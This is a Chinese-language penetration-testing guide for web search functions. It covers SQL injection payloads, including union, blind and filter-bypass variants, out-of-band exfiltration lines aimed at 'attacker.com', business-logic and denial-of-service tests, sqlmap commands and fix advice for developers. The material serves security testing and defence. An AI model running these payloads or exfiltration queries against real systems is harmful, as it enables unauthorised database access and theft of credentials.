Web 应用的搜索功能是用户与数据交互的核心入口,也因此成为攻击者最常瞄准的目标。安全性测试不仅涉及传统的注入漏洞,更包含复杂的业务逻辑缺陷。
一、SQL 注入漏洞测试
搜索功能通常涉及动态数据库查询,是 SQL 注入的高发区。测试需覆盖所有输入向量并尝试多种绕过技术。
- 测试向量与载荷设计
基础探测:
单引号探测: ‘ - 观察是否返回数据库错误信息(如 MySQL, MSSQL 错误)。
逻辑测试:
foo’ AND ‘1’=’1 —> 应返回所有结果(永真)
foo’ AND ‘1’=’2 —> 应无结果返回(永假)
foo’ OR ‘1’=’1 —> 极可能返回所有结果
联合查询注入: 确定列数后,尝试获取数据。
‘ ORDER BY 5— (递增数字直至报错,确定列数)
‘ UNION SELECT NULL,NULL,NULL,NULL,NULL— (匹配列数)
‘ UNION SELECT username,password,3,4,5 FROM users—
时间盲注: 当应用无错误回显时,通过响应延迟判断。
test’; IF (SELECT COUNT(*) FROM users) > 100 WAITFOR DELAY ‘0:0:5’—
‘ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=’a’; WAITFOR DELAY ‘0:0:5’—
布尔盲注: 通过不同的返回内容(真/假)推断数据。
‘ AND (SELECT SUBSTRING(@@version,1,1))=’5’—
‘ AND (SELECT LENGTH(password) FROM users WHERE username=’admin’)=8—
Out-of-Band 注入: 触发应用向攻击者控制服务器发起网络请求以带出数据。
‘; EXEC xp_dirtree ‘\attacker-server\share\test’— (MSSQL)
‘ UNION SELECT LOAD_FILE(CONCAT(‘\\‘,(SELECT password FROM users LIMIT 1),’.attacker.com\file.txt’))— (MySQL)
- 现代绕过技术
过滤绕过:
大小写变种: UnIoN SeLeCt
内联注释: /!SELECT/ (MySQL)
URL 编码: %55%4E%49%4F%4E (UNION 的 URL 编码)
双重URL编码: %2553%2565%256c%2565%2563%2574 (Select 的双重编码)
特殊字符填充: SEL/**/ECT, SEL%00ECT
上下文绕过: 搜索功能可能被用于 JSON、XML 等格式,需适配语法。
JSON: {“search”:”\” OR 1=1— -“}
XML: foo’ OR 1=1— -
二、业务逻辑漏洞测试
逻辑漏洞源于应用程序流程或业务规则中的缺陷,通常无法通过自动化工具发现,需要手动分析。
搜索权限绕过
测试目标: 验证低权限用户能否搜索到其无权访问的数据。
测试方法:
以普通用户身份登录,执行一个返回结果有限的搜索(如 my report)。
使用代理工具(Burp Suite)拦截搜索请求。
将请求中的会话 Cookie 或 Token 替换为另一个更高权限用户(如管理员)的凭证。
重放请求,观察是否返回了高权限用户的数据。这暴露了服务端未对搜索请求进行权限校验。搜索过滤绕过
测试目标: 绕过前端或服务端设置的黑名单关键词过滤。
测试方法:
通配符与模糊匹配: 尝试使用 *, %, _ 等通配符搜索敏感数据(如 adm%n 匹配 admin)。
部分匹配: 搜索敏感数据的片段(如身份证号、手机号的后四位)。
编码: 对搜索关键词进行 URL、HTML 或 Base64 编码。
同义词与特殊字符: 使用空格、标点符号或换行符 (%0a) 拆分关键词。
批量数据提取
测试目标: 利用搜索功能无限制地导出整个数据库。
测试方法:
宽泛搜索: 尝试使用单个字符(a)、通配符(*)或空搜索进行查询。
分页参数操纵: 如果搜索结果有分页,测试 limit, offset, page 等参数是否可被修改以遍历所有记录。例如: ?search=a&offset=0 -> ?search=a&offset=100 …
排序参数操纵: 操纵 order 参数,结合偏移,系统地获取所有数据。服务器资源耗尽(DoS)
测试目标: 构造复杂搜索耗尽服务器资源(CPU、内存、数据库连接)。
测试方法:
超长查询: 提交极长的搜索字符串(如 10,000 个字符)。
复杂正则: 如果支持正则搜索,提交计算密集型模式(如灾难性回溯模式 ^(a+)+$ 对抗字符串 aaaaaaaaaaaaaaaaaaaaaaaa!)。
大量通配符: 提交包含大量 % 或 _ 的查询,可能导致数据库全表扫描。
三、专业测试流程与工具
侦察: 使用浏览器开发者工具或 Burp Proxy 分析搜索请求:
请求方法: GET(参数在URL)或 POST(参数在Body)。
参数: 识别所有输入参数(如 q, query, searchTerm)。
内容类型: application/x-www-form-urlencoded, application/json, application/xml。
自动化扫描: 使用 SQLMap 进行深度注入检测。
sqlmap -u “http://zmtests.com/search?q=test“ —batch —level=3 —risk=3
sqlmap -r search_request.txt —batch —level=5 —risk=3 (从文件加载请求)
结合 Burp Suite 和 SQLMapper 扩展,实现被动扫描和自动测试。
手动验证与利用: 自动化工具会漏报(尤其是逻辑漏洞和复杂绕过)。必须手动:
分析应用程序的错误信息。
测试所有可能的输入向量。
结合业务上下文,理解搜索功能背后的业务逻辑。
修复建议(提供给开发团队):
SQL 注入: 严格使用参数化查询(预编译语句)。绝对禁止字符串拼接构造SQL语句。
权限绕过: 服务端对每个搜索请求进行身份认证和权限校验,确保用户只能访问其权限范围内的数据。
过滤绕过: 建立严格的白名单机制,规范输入格式(如长度、字符类型)。对搜索关键词进行适当的规范化处理。
批量提取: 实施严格的分页限制,对返回结果数量设置硬性上限,并对偏移量参数进行校验。